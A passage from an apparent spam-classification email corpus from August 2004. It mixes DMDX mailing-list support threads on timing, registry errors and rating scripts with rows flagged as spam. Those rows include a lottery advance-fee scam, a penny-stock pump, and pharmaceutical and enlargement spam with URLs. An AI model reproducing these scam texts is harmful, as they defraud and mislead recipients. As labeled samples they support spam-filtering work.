Finder (with 10.3.5). Do > you have any special extension installed? Contextual menu items live in > /Library/Contextual Menu Items and similar. For example, on my disk > there is: > > Portable-de-Bruno:/System/Library/Contextual Menu Items brunovoisin$ ls > -l > total 0 > drwxr-xr-x 3 root wheel 102 7 Jun 12:18 FolderActionsMenu.plugin > > Portable-de-Bruno:/Library/Contextual Menu Items brunovoisin$ ls -l > total 0 > drwxrwxr-x 4 root admin 136 7 Jun 16:37 StuffItCM.plugin > > Bruno Voisin > Howdy, Yes, it appears that I have SymbolicLinker.plugin (I got it at Version Tracker a while ago I guess) intalled in ``/Library/Contextual Menu Items'' and it works. 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Remember, you must contact your claim agent not later than two weeks of receipt of this mail. After this date, all funds will be returned as unclaimed. NOTE: For easy reference and identification, Find below your reference and Batch numbers, remember to quote these numbers in every one of your correspondence with your claims agent. REFERENCE NUMBER: PG3-B1 BATCH NUMBER: GBH-2 Congratulations once again from all our staff and thank you for being part of our promotions program. Sincerely, Mark Fisher, LOTTERY COORDINATOR, PROTEA GAMES SOUTH AFRICA, 65 Everson Street, Linden - 2104, Johannesburg, South Africa. TEL/FAX: +27 823622669. N.B. Any breach of confidentiality on the part of the winners will result to disqualification. Please do not reply to this mail. Contact your claims agent.(TERMS AND CONDITIONS APPLY) ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site - XXXX://jibaraeducada.com ",1,0 pgsalottery ,,"Fri, 20 Aug 2004 17:46:26 -0400",CONGRATULATIONS," FROM: THE LOTTERY COORDINATOR, INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT DEAR SIR/MADAM, WINNER OF SECOND CATEGORY DRAWS Congratulations to you as we bring to your notice, the results of the 2nd Category draws of PROTEA GAMES SOUTH AFRICA. We are happy to inform you that you have emerged a winner under the Second Category, which is part of our promotional draws. The draws were held on 5th June, 2004 and results are being officially announced today 20th August. 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Contact your transfer agent immediately. ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site XM Vision.comr - XXXX://xmvision.com ",1,0 Jürn Möller ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Aug 2004 20:13:55 +0200",[DMDX] using dmdx to trigger eeg amplifier with pio12 card,"hi, i set up dmdx to trigger our neuroscan eeg-amplifier. everything works fine so far. my only concern still left deals with the accuracy of the timing for the triggers send from the pio12-card to the amplifier. to make it short: - what latency might i obtain between onset of the stimulus (visual) and the trigger send by the pio-card ? - if there is a significant delay (let's say 10 to 20 msec) between delivery of the stimulus and the pio-card sending a trigger to the amp should i expect it to be constant or might there even be some variability ? - did anybody already check this and/or is there a ""simple"" way to do so myself ? regards juern moeller ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Aug 2004 16:13:17 -0700",[DMDX] Re: using dmdx to trigger eeg amplifier with pio12 card,"At 08:13 PM 8/23/2004 +0200, you wrote: >hi, >i set up dmdx to trigger our neuroscan eeg-amplifier. >everything works fine so far. my only concern still left >deals with the accuracy of the timing for the triggers send >from the pio12-card to the amplifier. >to make it short: >- what latency might i obtain between onset >of the stimulus (visual) and the trigger send by the pio-card ? Fraction of a millisecond. >- if there is a significant delay (let's say 10 to 20 msec) between >delivery of the stimulus and the pio-card sending a trigger to the amp >should i expect it to be constant or might there even be some variability ? Use the millisecond timing tests in TimeDX and see how good the callback is as it's the callback that will be driving the PIO output. >- did anybody already check this and/or is there a ""simple"" way to do so >myself ? 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Don't use it, there are other ways to get the same results without using it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return.",0,0 jtanfdjj azsvopqhe ,"DMDX@psy1.psych.arizona.edu, lynne@psy1.psych.arizona.edu, elma@psy1.psych.arizona.edu","Thu, 26 Aug 2004 18:12:44 +0700",watch this stck trade NEW PICK friday it isday [BREAKING NEWS] Atreus butter,"Infinex Ventures Inc. (INFX) Current Price: 0.79 The Rally has begun Watch this one like a hawk, this report is sent because the potential is incredible H U G E N E W S read below S T R O N G B U Y COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. 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Please do not reply to this mail. Contact your Claims agent immediately. ___________________________________________________________________________ Mail sent through Boombasticninja.us -- The Tony Marshall Fan Club ",1,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Aug 2004 10:44:59 -0700",[DMDX] DMDX 3.0.4.5," Yet another iteration in the Keithley battle, DMDX 3.0.4.5 now waits 750ms before correcting the unwarranted shift in windows focus that the PCMCIA version of the Keithley crap issues as it's shutdown to allow windows to receive and process the shift in focus so that DMDX actually undoes the shift... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ",0,0 h9908229@hkusua.hku.hk,DMDX@psy1.psych.arizona.edu,"Sun, 29 Aug 2004 15:21:50 +0800",[DMDX] fail to run DMDX with DirectX9.0,"Hi Jonathan, I try to run DMDX with my IBM notebook thinkpad T40, however I fail to run the program (register key is not found). I am wondering if DMDX is unable to run with DirectX9.0, or I have commit some other errors? Would you suggest how to solve the problem? best, Simpson Psychology department, the University of Hong Kong ",0,0 """Deafness P. Modernistic"" ",Bait ,"Sun, 29 Aug 2004 06:43:05 -0400",The Ultimate Online Pharmaceuticals,"Vliaagra $3.3 Levitrra $3.3 Cialris $3.7 Imitrsex $16.4 Folomax $2.2 Ultrfam $0.78 Viofxx $4.75 Ameblem $2.2 VaIikum - $0.97 Xansax $1.09 Sowma $3 Meriwdia $2.2 visit our website http://teirintenio.com/?UHJENDU1NaQBhFWlZBR1ZbUHRQXBxQVQ== ___ Best regards, Online Pharmaceuticals asdffgjd U1NaQBhFWlZBR1ZbUHRQXBxQVQ== If the cap fits wear it. Laughter is the best medicine. The eggs do not teach the hen. ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 29 Aug 2004 16:29:07 -0700",[DMDX] Re: fail to run DMDX with DirectX9.0,"At 03:21 PM 8/29/2004 +0800, you wrote: >Hi Jonathan, > > I try to run DMDX with my IBM notebook thinkpad T40, however I fail to run >the program (register key is not found). I am wondering if DMDX is unable to >run with DirectX9.0, or I have commit some other errors? Would you >suggest how >to solve the problem? Try reading the help files, you have to run TimeDX to set things up before DMDX can be run. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894 ",0,0 h9908229@hkusua.hku.hk,DMDX@psy1.psych.arizona.edu,"Mon, 30 Aug 2004 11:43:35 +0800",[DMDX] Re: fail to run DMDX with DirectX9.0,"Hi Jonathan, In fact, I have run TimeDX but still fail to run DMDX. Some time before, I installed DMDX on IBM thinkpad 570 laptop with DirectX8.1, it works properly. I am not sure if it is the DirectX that lead to the failure of running the DMDX on my IBM thinkpad T40(with DirectX9.0) Simpson Psychology department the University of Hong Kong Quoting ""j.c.f."" : > At 03:21 PM 8/29/2004 +0800, you wrote: > >Hi Jonathan, > > > > I try to run DMDX with my IBM notebook thinkpad T40, however I fail to > run > >the program (register key is not found). I am wondering if DMDX is unable > to > >run with DirectX9.0, or I have commit some other errors? Would you > >suggest how > >to solve the problem? > > Try reading the help files, you have to run TimeDX to set things up > before DMDX can be run. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The old believe everything: the middle-aged suspect > everything: the young know everything. > - Oscar Wilde, > 'Phrases and Philosophies for the Use of > the Young', > 1894 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Mon, 30 Aug 2004 09:28:31 -0400",[DMDX] facial expression task,"Good morning everyone, I am attempting to create a script for a facial expression task. Faces are to appear on the screen and the subject must rate their emotion. Generally there are 6 options. The catch is this: We are not comparing the subject's answer to a predefined 'right' answer, rather we wish simply to compile the subjects' answers (along with their reaction time). Here is the script, ignore the filenames: $0 ""Press spacebar to start"";$ $250 /;$ +1001 * ""bartman"" /!; +1002 * ""burnssta"" /!; +1003 * ""groundsk"" /!; +1004 * ""homer3"" /!; +1005 * ""krustybg"" /!; +1006 * ""lgotmilk"" /!; +1007 * ""maggie-1"" /!; +1008 * ""marge2"" /!; +1009 * ""martin1"" /!; +1010 * ""ooooohomer"" /!; +1011 * ""brian""/!; +1012 * ""chris""/!; +1013 * ""meg""/!; +1014 * ""peter6""/!; +1015 * ""qhag""/!; +1016 * ""stewie""/!; +1017 * ""clev""/!; $ 0 ""The End, Thank you for taking part!""; $ Thanks in advance, -Greg Cogan",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Aug 2004 08:30:11 -0700",[DMDX] Re: fail to run DMDX with DirectX9.0,"At 11:43 AM 8/30/2004 +0800, you wrote: >Hi Jonathan, > > In fact, I have run TimeDX but still fail to run DMDX. Some time > before, I >installed DMDX on IBM thinkpad 570 laptop with DirectX8.1, it works properly. >I am not sure if it is the DirectX that lead to the failure of running the >DMDX >on my IBM thinkpad T40(with DirectX9.0)\\ Shouldn't be any problem as all XP machines are DX 9 and it works on them. In fact we hardly have any machines that aren't DX 9. Perhaps if you can actually tell me what the error message is I can give better directions. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Aug 2004 08:39:04 -0700",[DMDX] Re: facial expression task,"You probably want instead of . Actually you probably want too. I think there are rating task examples in the docs. At 09:28 AM 8/30/2004 -0400, you wrote: >Good morning everyone, >I am attempting to create a script for a facial expression task. Faces >are to appear on the screen and the subject must rate their >emotion. Generally there are 6 options. The catch is this: We are not >comparing the subject's answer to a predefined 'right' answer, rather we >wish simply to compile the subjects' answers (along with their reaction >time). Here is the script, ignore the filenames: > > ""keyboard""> >$0 ""Press spacebar to start"";$ >$250 /;$ > >+1001 * ""bartman"" /!; >+1002 * ""burnssta"" /!; >+1003 * ""groundsk"" /!; >+1004 * ""homer3"" /!; >+1005 * ""krustybg"" /!; >+1006 * ""lgotmilk"" /!; >+1007 * ""maggie-1"" /!; >+1008 * ""marge2"" /!; >+1009 * ""martin1"" /!; >+1010 * ""ooooohomer"" /!; >+1011 * ""brian""/!; >+1012 * ""chris""/!; >+1013 * ""meg""/!; >+1014 * ""peter6""/!; >+1015 * ""qhag""/!; >+1016 * ""stewie""/!; >+1017 * ""clev""/!; >$ 0 ""The End, Thank you for taking part!""; $ > > >Thanks in advance, >-Greg Cogan > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894",0,0 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Mon, 30 Aug 2004 14:04:58 -0400",[DMDX] Re: facial expression task,"Thanks Jonathan. I had actually tried to use the example, the only problem is that I can't seem to get the scramble to work with it. Here's my new code minues the scramble. It doesn't like the ~C switch I think: F10 0 ""Rating Example"" mC##; 100 ""No Response."" ; 101 d2 ; 102 d2 ; 103 d2 ; 104 d2 ; 105 d2 ; 106 d2 ; 107 d2 ; 108 d2 ; 109 d2 ; 110 d2 ; +1001 * ""bartman"" ~c c; +1002 * ""burnssta"" ~c c; +1003 * ""groundsk"" ~c c; +1004 * ""homer3"" ~c c; +1005 * ""krustybg"" ~c c; +1006 * ""lgotmilk"" ~c c; +1007 * ""maggie-1"" ~c c; +1008 * ""marge2"" ~c c; +1009 * ""martin1"" ~c c; +1010 * ""ooooohomer""~c c; +1011 * ""brian"" ~c c; +1012 * ""chris""~c c; +1013 * ""meg""~c c; +1014 * ""peter6""~c c; +1015 * ""qhag""~c c; +1016 * ""stewie""~c c; +1017 * ""clev""~c c; 0 ""end"" l; Thanks again -Greg >>> jforster@psy1.psych.arizona.edu 08/30/04 11:39AM >>> You probably want instead of . Actually you probably want too. I think there are rating task examples in the docs. At 09:28 AM 8/30/2004 -0400, you wrote: >Good morning everyone, >I am attempting to create a script for a facial expression task. Faces >are to appear on the screen and the subject must rate their >emotion. Generally there are 6 options. The catch is this: We are not >comparing the subject's answer to a predefined 'right' answer, rather we >wish simply to compile the subjects' answers (along with their reaction >time). Here is the script, ignore the filenames: > > ""keyboard""> >$0 ""Press spacebar to start"";$ >$250 /;$ > >+1001 * ""bartman"" /!; >+1002 * ""burnssta"" /!; >+1003 * ""groundsk"" /!; >+1004 * ""homer3"" /!; >+1005 * ""krustybg"" /!; >+1006 * ""lgotmilk"" /!; >+1007 * ""maggie-1"" /!; >+1008 * ""marge2"" /!; >+1009 * ""martin1"" /!; >+1010 * ""ooooohomer"" /!; >+1011 * ""brian""/!; >+1012 * ""chris""/!; >+1013 * ""meg""/!; >+1014 * ""peter6""/!; >+1015 * ""qhag""/!; >+1016 * ""stewie""/!; >+1017 * ""clev""/!; >$ 0 ""The End, Thank you for taking part!""; $ > > >Thanks in advance, >-Greg Cogan > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Aug 2004 14:38:32 -0700",[DMDX] Re: facial expression task,"Scramble should work with macros but seeing as you don't need it given what you posted earlier on remove all the macro stuff, items 0 to 100 and the ~c sequences. At 02:04 PM 8/30/2004 -0400, you wrote: >Thanks Jonathan. I had actually tried to use the example, the only >problem is that I can't seem to get the scramble to work with it. Here's >my new code minues the scramble. It doesn't like the ~C switch I think: > F10 > > > > > >0 ""Rating Example"" >mC#+7,-107, +8,-108, +9,-109, +0,-110, cinr,-100>#; > >100 ""No Response."" ; >101 d2 ; >102 d2 ; >103 d2 ; >104 d2 ; >105 d2 ; >106 d2 ; >107 d2 ; >108 d2 ; >109 d2 ; >110 d2 ; > >+1001 * ""bartman"" ~c c; >+1002 * ""burnssta"" ~c c; >+1003 * ""groundsk"" ~c c; >+1004 * ""homer3"" ~c c; >+1005 * ""krustybg"" ~c c; >+1006 * ""lgotmilk"" ~c c; >+1007 * ""maggie-1"" ~c c; >+1008 * ""marge2"" ~c c; >+1009 * ""martin1"" ~c c; >+1010 * ""ooooohomer""~c c; >+1011 * ""brian"" ~c c; >+1012 * ""chris""~c c; >+1013 * ""meg""~c c; >+1014 * ""peter6""~c c; >+1015 * ""qhag""~c c; >+1016 * ""stewie""~c c; >+1017 * ""clev""~c c; > >0 ""end"" l; > >Thanks again >-Greg > > >>> jforster@psy1.psych.arizona.edu 08/30/04 11:39AM >>> > > You probably want instead of . Actually you probably want > too. I think there are rating task examples in the docs. > >At 09:28 AM 8/30/2004 -0400, you wrote: > >Good morning everyone, > >I am attempting to create a script for a facial expression task. Faces > >are to appear on the screen and the subject must rate their > >emotion. Generally there are 6 options. The catch is this: We are not > >comparing the subject's answer to a predefined 'right' answer, rather we > >wish simply to compile the subjects' answers (along with their reaction > >time). Here is the script, ignore the filenames: > > > > >""keyboard""> > >$0 ""Press spacebar to start"";$ > >$250 /;$ > > > >+1001 * ""bartman"" /!; > >+1002 * ""burnssta"" /!; > >+1003 * ""groundsk"" /!; > >+1004 * ""homer3"" /!; > >+1005 * ""krustybg"" /!; > >+1006 * ""lgotmilk"" /!; > >+1007 * ""maggie-1"" /!; > >+1008 * ""marge2"" /!; > >+1009 * ""martin1"" /!; > >+1010 * ""ooooohomer"" /!; > >+1011 * ""brian""/!; > >+1012 * ""chris""/!; > >+1013 * ""meg""/!; > >+1014 * ""peter6""/!; > >+1015 * ""qhag""/!; > >+1016 * ""stewie""/!; > >+1017 * ""clev""/!; > >$ 0 ""The End, Thank you for taking part!""; $ > > > > > >Thanks in advance, > >-Greg Cogan > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The old believe everything: the middle-aged suspect >everything: the young know everything. > - Oscar Wilde, > 'Phrases and Philosophies for the Use of > the Young', > 1894 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > >http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return.",0,1 h9908229@hkusua.hku.hk,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 13:14:10 +0800",[DMDX] Re: fail to run DMDX with DirectX9.0,"Hi Jonathan, Again, thank you for your quick reply. I selected 640 X 480 (256color) in 'select video mode' in TimeDX and do the test. Then, I do test in 'time video mode'. When I run the item file, the following error message appears: ""Could not find registry key "" What should I do then? best, Simpson Psychology department the University of Hong Kong > At 11:43 AM 8/30/2004 +0800, you wrote: > >Hi Jonathan, > > > > In fact, I have run TimeDX but still fail to run DMDX. Some time > > before, I > >installed DMDX on IBM thinkpad 570 laptop with DirectX8.1, it works > properly. > >I am not sure if it is the DirectX that lead to the failure of running the > >DMDX > >on my IBM thinkpad T40(with DirectX9.0)\\ > > Shouldn't be any problem as all XP machines are DX 9 and it works on > them. In fact we hardly have any machines that aren't DX 9. Perhaps if > you can actually tell me what the error message is I can give better > directions. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The old believe everything: the middle-aged suspect > everything: the young know everything. > - Oscar Wilde, > 'Phrases and Philosophies for the Use of > the Young', > 1894 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Elsie Freeman ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 02:24:30 +0100",Increase your Strength," Suffering from short penniss? Introduce revolution ""FastLength PRO"" formula which gauranteees sizes increase or moneey baack. Users reported: - 2-3 inches extra in size - 3x pleasurable orgasms - 27% thicker Why waiting? http://isawyoukilling.com/ welles you conscript me, unruly digestive . buckle you absinthe me, index par . aurora you hologram me, grackle hoydenish . deliverance you bond me, cyprian . http://www.isawyoukilling.com/47d/ ",1,1 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 18:18:53 +1000",[DMDX] Analysing times of incorrect responses,"Hullo all I'm trying to find out how long responses were when people made an incorrect response in a very easy yes/no task, with an average error rate of only 3%. So I bundled all the conditions into just two - one for yes trials and one for no trials and ran the following SPC file. However, I get some strange values in the .das file. The number 2 crops up where there should be a value, say 400, according to the azk file. The top of the das file is given below. Does anybody have any ideas as to what is wrong here? Many thanks. Virginia Holmes _______________________________ title: Number sequence judgments analyze_incorrect_responses low_cutoff: 100 high_cutoff: 4000 RT_width: 6 RT_precision: 0 Condition: 1 name: Yes Items: 2 80 28 106 54 132 82 158 108 184 134 210 4 160 30 186 56 212 110 214 136 188 162 164 138 190 112 216 6 84 32 58 10 34 8 86 60 88 36 166 62 140 90 114 116 92 142 64 168 38 192 12 218 194 14 220 118 144 Condition: 2 name: No Items: 120 222 146 196 170 172 148 198 122 224 16 94 40 66 42 68 18 96 70 226 44 174 72 150 98 124 100 204 74 178 46 176 20 200 202 228 22 230 126 152 24 102 48 128 76 154 104 180 130 206 156 232 182 26 208 50 234 78 _________________________________ SUBJECT RT Number sequence judgments **** 376 342 **** 274 119 2 **** **** 2 285 277 2 **** **** 2 295 470 382 317 etc. ________________________________ Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ",0,0 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 10:36:43 -0400",[DMDX] Re: facial expression task,"I'm not entirely sure what you mean. I want the opening screen (line 0) to eventually have the instructions. Naturally, this will have to occur first. I want items 1001 to 1017 to be scrambled. Which lines do I omit? 100 to 110? if I set my N and my S values to 17, will this accomplish what I want? Thanks again -Greg >>> jforster@psy1.psych.arizona.edu 08/30/04 05:38PM >>> Scramble should work with macros but seeing as you don't need it given what you posted earlier on remove all the macro stuff, items 0 to 100 and the ~c sequences. At 02:04 PM 8/30/2004 -0400, you wrote: >Thanks Jonathan. I had actually tried to use the example, the only >problem is that I can't seem to get the scramble to work with it. Here's >my new code minues the scramble. It doesn't like the ~C switch I think: > F10 > > > > > >0 ""Rating Example"" >mC#+7,-107, +8,-108, +9,-109, +0,-110, cinr,-100>#; > >100 ""No Response."" ; >101 d2 ; >102 d2 ; >103 d2 ; >104 d2 ; >105 d2 ; >106 d2 ; >107 d2 ; >108 d2 ; >109 d2 ; >110 d2 ; > >+1001 * ""bartman"" ~c c; >+1002 * ""burnssta"" ~c c; >+1003 * ""groundsk"" ~c c; >+1004 * ""homer3"" ~c c; >+1005 * ""krustybg"" ~c c; >+1006 * ""lgotmilk"" ~c c; >+1007 * ""maggie-1"" ~c c; >+1008 * ""marge2"" ~c c; >+1009 * ""martin1"" ~c c; >+1010 * ""ooooohomer""~c c; >+1011 * ""brian"" ~c c; >+1012 * ""chris""~c c; >+1013 * ""meg""~c c; >+1014 * ""peter6""~c c; >+1015 * ""qhag""~c c; >+1016 * ""stewie""~c c; >+1017 * ""clev""~c c; > >0 ""end"" l; > >Thanks again >-Greg > > >>> jforster@psy1.psych.arizona.edu 08/30/04 11:39AM >>> > > You probably want instead of . Actually you probably want > too. I think there are rating task examples in the docs. > >At 09:28 AM 8/30/2004 -0400, you wrote: > >Good morning everyone, > >I am attempting to create a script for a facial expression task. Faces > >are to appear on the screen and the subject must rate their > >emotion. Generally there are 6 options. The catch is this: We are not > >comparing the subject's answer to a predefined 'right' answer, rather we > >wish simply to compile the subjects' answers (along with their reaction > >time). Here is the script, ignore the filenames: > > > > >""keyboard""> > >$0 ""Press spacebar to start"";$ > >$250 /;$ > > > >+1001 * ""bartman"" /!; > >+1002 * ""burnssta"" /!; > >+1003 * ""groundsk"" /!; > >+1004 * ""homer3"" /!; > >+1005 * ""krustybg"" /!; > >+1006 * ""lgotmilk"" /!; > >+1007 * ""maggie-1"" /!; > >+1008 * ""marge2"" /!; > >+1009 * ""martin1"" /!; > >+1010 * ""ooooohomer"" /!; > >+1011 * ""brian""/!; > >+1012 * ""chris""/!; > >+1013 * ""meg""/!; > >+1014 * ""peter6""/!; > >+1015 * ""qhag""/!; > >+1016 * ""stewie""/!; > >+1017 * ""clev""/!; > >$ 0 ""The End, Thank you for taking part!""; $ > > > > > >Thanks in advance, > >-Greg Cogan > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The old believe everything: the middle-aged suspect >everything: the young know everything. > - Oscar Wilde, > 'Phrases and Philosophies for the Use of > the Young', > 1894 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > >http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 09:01:29 -0700",[DMDX] Re: fail to run DMDX with DirectX9.0,"At 01:14 PM 8/31/2004 +0800, you wrote: >Hi Jonathan, > > Again, thank you for your quick reply. I selected 640 X 480 (256color) in >'select video mode' in TimeDX and do the test. Then, I do test in 'time video >mode'. When I run the item file, the following error message appears: ""Could >not find registry key (480)_8bpp_0Hz>"" What should I do then? Like I said, read the help. You have to click the ""Save Last Used Values in Registry"" button in the Time Video Mode test for each video mode that you are then going to use in DMDX. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 09:06:53 -0700",[DMDX] Re: Analysing times of incorrect responses,"Very, very, very old versions of DMDX could wind up with RTs that low if the subject was pressing the key before the clock was turned on. At 06:18 PM 8/31/2004 +1000, you wrote: >Hullo all > > > > I'm trying to find out how long responses were when people made an > incorrect response in a very easy yes/no task, with an average error rate > of only 3%. So I bundled all the conditions into just two - one for yes > trials and one for no trials and ran the following SPC file. However, I > get some strange values in the .das file. The number 2 crops up where > there should be a value, say 400, according to the azk file. The top of > the das file is given below. > > > > Does anybody have any ideas as to what is wrong here? Many thanks. > > > > Virginia Holmes > >_______________________________ > > > >title: Number sequence judgments""urn:schemas-microsoft-com:office:office"" /> > > > >analyze_incorrect_responses > > > >low_cutoff: 100 > >high_cutoff: 4000 > > > >RT_width: 6 > >RT_precision: 0 > > > >Condition: 1 > >name: Yes > >Items: 2 80 28 106 54 132 82 158 108 184 134 210 4 160 30 >186 56 212 >110 214 136 188 162 164 138 190 112 216 6 84 32 58 10 34 8 > 86 60 88 36 166 62 140 90 114 116 92 142 64 168 38 192 >12 218 194 14 220 118 144 > > > >Condition: 2 > >name: No > >Items: 120 222 146 196 170 172 148 198 122 224 16 94 40 66 >42 68 18 96 70 226 44 174 72 150 98 124 100 204 74 178 46 >176 20 200 202 228 22 230 126 152 24 102 48 128 76 154 104 >180 130 206 156 232 182 26 208 50 234 78 > > > >_________________________________ > > > >SUBJECT RT Number sequence judgments > > **** 376 > > 342 **** > > 274 119 > > 2 **** > > **** 2 > > 285 277 > > 2 **** > > **** 2 > > 295 470 > > 382 317 etc. > > > >________________________________ > >Assoc. Prof. V. M. Holmes >Department of Psychology >University of Melbourne >Parkville 3010 >Australia > >Tel: (03) 8344.6368 >Facs: (03) 9347.6618 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 09:09:18 -0700",[DMDX] Re: facial expression task,"At 10:36 AM 8/31/2004 -0400, you wrote: >I'm not entirely sure what you mean. I want the opening screen (line 0) >to eventually have the instructions. Naturally, this will have to occur >first. I want items 1001 to 1017 to be scrambled. Which lines do I omit? >100 to 110? Yes. And the mC## bit of item 0. And all the ~c bits in the items. >if I set my N and my S values to 17, will this accomplish what I want? If you put dollars around the instructions yes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894",0,0 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 12:28:01 -0400",[DMDX] Re: facial expression task,"Thanks a lot! I seem to have it working now. It still calculates the error rate on some items for some reason, but I think this can easily be ignored. Thanks again for your help, -Greg >>> jforster@psy1.psych.arizona.edu 08/31/04 12:09PM >>> At 10:36 AM 8/31/2004 -0400, you wrote: >I'm not entirely sure what you mean. I want the opening screen (line 0) >to eventually have the instructions. Naturally, this will have to occur >first. I want items 1001 to 1017 to be scrambled. Which lines do I omit? >100 to 110? Yes. And the mC## bit of item 0. And all the ~c bits in the items. >if I set my N and my S values to 17, will this accomplish what I want? If you put dollars around the instructions yes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The old believe everything: the middle-aged suspect everything: the young know everything. - Oscar Wilde, 'Phrases and Philosophies for the Use of the Young', 1894 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 10:26:01 -0700",[DMDX] DMDX 3.0.4.6," Yet another iteration in the crap that is Keithley, now DMDX will switch back to the right window after initializing their drivers. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Chaos reigns within. Reflect, repent, and reboot. Order shall return. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 31 Aug 2004 10:30:12 -0700",[DMDX] Re: facial 